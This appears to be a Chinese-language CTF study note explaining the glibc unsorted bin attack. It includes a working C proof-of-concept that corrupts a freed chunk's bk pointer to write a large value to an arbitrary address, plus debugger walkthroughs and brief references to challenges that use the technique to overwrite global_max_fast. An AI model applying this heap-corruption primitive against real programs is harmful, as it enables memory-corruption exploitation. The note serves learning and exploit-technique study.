跳转至

UnsortedBinAttack

UnsortedBin Attack

Unsorted Bin

双向循环链表,先进先出,以下几种情况会分到 unsorted bin 中

1、当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中

2、释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中

3、当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话

unsorted bin attack

unsorted bin attack 是控制 unsorted bin 的 bk 指针,达到任意地址改为一个较大的数的目的

#include <stdio.h>
#include <stdlib.h>

int main(){

    fprintf(stderr, "unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方\n");
    fprintf(stderr, "实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备\n\n");

    unsigned long stack_var=0;
    fprintf(stderr, "我们准备把这个地方 %p 的值 %ld 更改为一个很大的数\n\n", &stack_var, stack_var);

    unsigned long *p=malloc(0x410);
    fprintf(stderr, "一开始先申请一个比较正常的 chunk: %p\n",p);
    fprintf(stderr, "再分配一个避免与 top chunk 合并\n\n");
    malloc(500);

    free(p);
    fprintf(stderr, "当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 %p\n",(void*)p[1]);

    p[1]=(unsigned long)(&stack_var-2);
    fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");
    fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);

    malloc(0x410);
    fprintf(stderr, "再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址\n");
    fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

gcc -g unsorted_bin_attack.c

分别在 10、13、16、19 下断点

然后运行,一开始先申请两个 chunk,第二个是为了防止与 top chunk 合并

1597930574266-a2ff2303-386d-4f23-82f7-a60d78dc56cd.png

当 free之后,这个 chunk 的 fd、bk 都指向了 unsorted bin 的位置,因为 unsorted bin 是双向链表嘛

1606572766348-8e1d59d7-ba40-4689-9a98-3d68ed03919d.png

继续,通过 p[1] = (unsigned long)(&stack_var - 2); 把 bk 指针给改掉了 unsigned long 是 8 字节大小的,所以减去 2 之后正好是在 address 这个地方

1606572820505-69cf3182-989d-440f-9b87-6b0c8b845105.png

然后再去申请的时候需要把释放的那一块给拿出来,操作如下:

/* remove from unsorted list */
//bck = chunk->bk
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

把 unsorted bin 的 bk 改为 chunk 的 bk,然后将 chunk 的 bk 所指向的 fd 改为 unsorted bin 的地址

1606572866040-8c8283f8-2e23-4716-8b13-ac2fc7f19447.png

1606572899992-2fc6079d-41af-4a93-af85-17b8ee334b7c.png

同时因为对于一个 chunk 来说 chunk 头是占据 0x10 大小的(也就是图中 address),所以 fd 正好是我们想要改的那个地址

1597930824435-64316a8a-4378-441f-9726-24792698968d.png

wiki的图示

1601689629963-ed06c60a-cf08-4b7a-8861-7221d5867530.png

HITCON Training lab14 magic heap

https://www.yuque.com/hxfqg9/bin/owh91m#VPyhN

2016 0CTF zerostorage

程序功能如下:

1598002637861-61cc6011-de6c-420d-ac94-4e828b65d054.png

在 insert 功能中创建的 chunk 的大小在 128 到 4096 之间

1598004480060-20c9bec2-bdf9-4330-9c7e-1ff46b8a30d3.png

在 merge 功能中会把第一个给 free,然后合并,但是如果合并同一个就会造成 UAF

使用 unsortedbin attack 把 global_max_fast 改成 unsortedbin 让它不管 chunk 有多大都认为是 fastbin,这样再用 fastbin attack

(我他妈拍案叫绝)

好像有点麻烦,先跳过去了

原文: https://www.yuque.com/hxfqg9/bin/tubv6q